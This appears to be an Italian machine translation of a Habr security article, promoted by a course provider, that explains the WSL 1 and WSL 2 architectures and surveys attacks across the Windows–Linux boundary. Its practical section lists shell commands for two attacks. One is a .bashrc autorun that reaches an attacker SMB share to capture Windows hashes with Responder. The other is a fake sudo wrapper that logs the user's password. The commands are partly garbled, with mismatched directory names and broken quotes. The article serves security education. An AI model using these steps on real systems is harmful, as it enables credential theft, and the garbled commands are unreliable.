Ciao, habr! OTUS lancia un nuovo flusso di corsi in ottobre . In attesa dell'inizio del corso, condividiamo con voi un articolo scritto da uno dei nostri insegnanti, Alexander Kolesnikov.
Nel 2016 Microsoft ha introdotto la nuova tecnologia WSL alla comunità IT (Windows Subsistema per Linux), che in futuro ha permesso di unire concorrenti precedentemente inconciliabili che stavano lottando per la popolarità tra gli utenti dei sistemi operativi sia ordinari che avanzati: Windows e Linux. Questa tecnologia ha reso possibile l'utilizzo degli strumenti del sistema operativo Linux in un ambiente Windows senza la necessità di eseguire Linux, ad esempio utilizzando il multi-boot. Su Habr puoi trovare un gran numero di articoli che descrivono i vantaggi dell'utilizzo di WSL. Tuttavia, sfortunatamente, al momento della stesura di questo articolo, su questa risorsa non sono stati trovati studi sulla sicurezza di tale simbiosi di sistemi operativi. Questo post sarà un tentativo di correggere questo problema. L'articolo parlerà delle caratteristiche delle architetture WSL 1 e 2 ed esaminerà alcuni esempi di attacchi ai sistemi che utilizzano queste tecnologie. L'articolo è diviso in 2 parti. Nella prima verranno forniti i principali metodi teorici di attacco da Linux e Windows. Il secondo articolo riguarderà la creazione di un ambiente di test e la riproduzione degli attacchi.
WSL 1: caratteristiche architettoniche
Per un'analisi più accurata dei problemi di sicurezza del WSL, è necessario determinare le principali sfumature associate all'implementazione del sottosistema. Uno dei principali compiti dell'utente risolti da WSL è la capacità di lavorare tramite un terminale Linux su un host che esegue il sistema operativo Windows. Inoltre, la compatibilità offerta era così nativa che gli eseguibili Linux (ELF) potevano essere eseguiti direttamente su un sistema Windows. Per raggiungere questi obiettivi, in Windows 10 è stato creato uno speciale sottosistema che consente di eseguire applicazioni Linux utilizzando una serie di chiamate di sistema specifiche: si è quindi tentato di mappare una serie di chiamate di sistema Linux su Windows. Ciò è stato implementato fisicamente aggiungendo nuovi driver e un nuovo formato di processo. Visivamente l'architettura appariva così:
Infatti, l'interazione con il sistema operativo Linux è stata organizzata tramite diversi moduli del kernel e un tipo speciale di processo: pico. Dal diagramma sopra puoi vedere che il processo in esecuzione sull'istanza Linux sull'host deve essere nativo e deve utilizzare le stesse risorse delle normali applicazioni Windows. Ma come raggiungere questo obiettivo? Nel progetto Sono stati sviluppati concetti di processo per Windows che fornivano tutti i componenti necessari del sistema operativo (a seconda della sua versione) per eseguire un'applicazione di un altro sistema operativo.
Si noti che l'astrazione proposta ha permesso di non concentrarsi sul sistema operativo (in particolare Windows), in cui è previsto l'avvio del processo di un altro sistema operativo, e ha suggerito un approccio generale.
Pertanto, qualsiasi applicazione all'interno del processo pico potrebbe essere eseguita indipendentemente dal kernel di Windows:
- I problemi di compatibilità e traduzione delle chiamate di sistema devono essere risolti da fornitori speciali;
- Il controllo degli accessi deve essere effettuato tramite il Monitor di Sicurezza. Il monitor si trova nel kernel e quindi Windows aveva bisogno di un aggiornamento sotto forma di un nuovo driver che potesse fungere da fornitore di tali processi. Il prototipo del processo pico è presentato schematicamente di seguito:
Poiché il file system Linux utilizza nomi di file e directory con distinzione tra maiuscole e minuscole, a Windows sono stati aggiunti 2 tipi di file system per funzionare con WSL: VolFS e DriveFS. VolFS è un'implementazione del file system Linux, DriveFS è un file system che funziona secondo le regole di Windows, ma ha la capacità di selezionare la distinzione tra maiuscole e minuscole.
WSL 2
WSL 1 presentava una serie di limitazioni che non ne consentivano l'utilizzo per risolvere la massima gamma di attività: ad esempio, non aveva la capacità di eseguire applicazioni Linux a 32 bit ed era impossibile utilizzare i driver di dispositivo. Pertanto, nel 2020, è stato rilasciato WSL 2, che ha cambiato l’approccio alla costruzione del sottosistema. WSL 2 è una macchina virtuale ottimizzata che corrisponde alle caratteristiche di consumo delle risorse di WSL 1. Ora, a seconda dei problemi risolti dall'utente del sistema operativo Windows, è possibile selezionare la versione richiesta del sottosistema Linux. Per mitigare possibili vulnerabilità, in Windows 2 è stato implementato WSL 10 basato su Hyper-V. In questa forma Windows ha la capacità di eseguire isolatamente il kernel del sistema operativo Linux. Vale la pena ricordare che la versione 1 di WSL è stata introdotta come funzionalità beta che avrebbe dovuto mostrare la direzione dello sviluppo di Windows in quest'area, quindi il passaggio a Hyper-V era inevitabile. L'architettura finale è simile alla seguente:
In questa versione, i kernel Windows e Linux hanno le proprie risorse e l'intersezione esiste solo nel file system, ma questa intersezione non è completa. L'interazione tra i file system viene effettuata tramite un wrapper client-server che funziona utilizzando il protocollo 9P.
Oggi Microsoft offre la possibilità di passare da WSL 1 a WSL 2. Entrambe le versioni sono disponibili per l'uso.
Sicurezza WSL
Al momento, ci sono diversi lavori che descrivono alcuni approcci all’utilizzo di strumenti operativi legittimi per attaccare la comunicazione tra sottosistemi. Utilizzeremo i loro script per verificare la rilevanza degli attacchi al momento in cui scriviamo. Elenco generale di attacchi e scenari:
1. Implementazione del file system: diritti di accesso, disponibilità di directory condivise/meccanismi di scambio dati.
È stata condotta una ricerca per determinare le violazioni delle regole di accesso da Linux FS->Windows FS, Windows FS->Linux FS. La ricerca ha dimostrato la capacità di modificare un determinato file all'interno del sistema operativo di destinazione. Si è tentato anche di sostituire, creare duplicati e cancellare parte dei file system.
scenario:
- A. Attacco dal sistema operativo Windows: modifica dei file dalla directory /etc del sistema operativo Linux.
- B. Attacco dal sistema operativo Linux - modifica dei file nelle directory:
C:Windows,C:Program Files,C:Users<User>
2. Implementazione dello stack di rete.
La ricerca è stata condotta utilizzando esempi di attacchi del sistema operativo Linux su Windows. Sono state utilizzate le funzionalità dello stack di rete, ovvero i meccanismi di autenticazione su varie risorse.
scenario:
- Apertura dell'accesso a una porta occupata su un sistema Windows
- Apertura di una porta senza i diritti appropriati
- Esecuzione della shell inversa utilizzando il file elf sul sistema operativo Windows.
3. Nascondere l'avvio di processi software dannosi utilizzando il sottosistema WSL.
La ricerca si basava su un fatto semplice: nel caso di WSL 1 i sottosistemi di sicurezza non possono intercettare eventi in un altro kernel che funziona utilizzando un provider legittimo del sistema operativo. Nel caso di WSL 2 non è possibile visualizzare gli eventi che si verificano in un kernel separato all'interno della macchina virtuale leggera.
scenario:
1) Avviare l'applicazione per l'accesso remoto al sistema e visualizzare gli eventi registrati.
Esperimenti WSL 1: intercettazione hash (Windows)
Finalmente siamo arrivati alla parte pratica. Per prima cosa è necessario configurare l'ambiente di test. Tutti gli esperimenti verranno eseguiti su un banco con installato Windows 10 2004. L'immagine Ubuntu 18.04 è stata scelta come immagine del sistema operativo per WSL. L'immagine è stata scelta a caso e qualsiasi altra funzionerà allo stesso modo. Comandi per allestire uno stand:
Devi prima lanciarlo powershell.exe come amministratore.
Per WSL 1 è necessario eseguire i comandi:
- Enable-WindowsOptionalFeature -Online -FeatureName Microsoft-Windows-Subsystem-Linux #Включить функцию WSL
- Invoke-WebRequest -Uri aka.ms/wsl-ubuntu-1804
-OutFile ~/Ubuntu.appx -UseBasicParsing #Загрузить образ Linux из магазина Microsoft
Ubuntu.appx install —root #Установим образ
Возможно, придется прокликать процесс настройки и создать нового пользователя, который будет иметь меньше прав, чем root. Для наших тестов это будет обычный пользователь sam.
Restart-Computer #Перезагрузим
Dopo aver riavviato lo stand, puoi chiamare il comando bash. Se tutto ha funzionato correttamente, vedrai un output simile a questo nella console di Windows:
Utilizzeremo la distribuzione Kali Linux come macchina dell'aggressore; tutte le macchine devono trovarsi sulla stessa rete locale.
Supponiamo di avere accesso non privilegiato a WSL su un computer Windows. Proviamo ad attaccare il sistema operativo Linux richiamando un comando da Linux. Per implementare l'attacco utilizzeremo una semplice tecnica di esecuzione automatica: aggiungeremo il nostro script per l'esecuzione nell'ambiente Linux. Per fare ciò è necessario modificare il file .bashrc.
Su una macchina con WSL eseguiamo:
1. bash
2. Переходим в домашнюю директорию пользователя: cd /home/sam/
2. echo «/home/sam/.attack.sh» >> .bashrc
3. echo «icalcs.exe » \\\\attacker_ip\\shareName\\» > /dev/null 2>&1» >> .attack.sh
4. chmod u+x .attack.sh
5. exitSu una macchina Kali Linux eseguiamo:
1. Responder -I eth0 -rdvwSu una macchina Windows, lanciamo bash.
Stiamo aspettando il risultato sulla macchina Kali Linux:
Pertanto, abbiamo ottenuto gli hash utente di Windows tramite il sottosistema WSL eseguendo il comando sul sistema Linux.
Esperimenti WSL 1: ottenere la password dell'utente (sistema operativo Linux)
Facciamo un altro esperimento. Durante questo controllo aggiungeremo al file .bashrc diversi comandi per ottenere la password dell'utente del sistema operativo Linux.
Lanciamo bash e inseriamo i comandi:
1. mkdir .hidden
2. echo "export PATH=$HOME/.hidden/:$PATH:" >> .bashrc
3. echo "read -sp "[sudo] password for $USER: " sudopass" > .hidden/sudo
4. echo "echo """ >> .mysudo/sudo
5. echo "sleep 2" >> .mysudo/sudo
6. echo "echo "Sorry, try again."" >> .mysudo/sudo
7. echo "echo $sudopass >> /home/sam/.mysudo/pass.txt» >> .mysudo/sudo
8. echo "/usr/bin/sudo $@" >> .mysudo/sudo
9. chmod +x .mysudo/sudo
10. exit
Per completare con successo l'attacco, l'utente Sam deve chiamare sudo nel terminale Linux. Successivamente, la password dell'utente del sistema operativo Linux sarà nel file pass.txt:
L'attuazione degli attacchi è stata fornita solo a titolo informativo.
La parte successiva dell'articolo descriverà l'implementazione del protocollo 9P, considererà la creazione di uno scanner per questo protocollo ed eseguirà anche un attacco utilizzandolo.
Elenco di letteratura usata
Leggi di più
Fonte: habr.com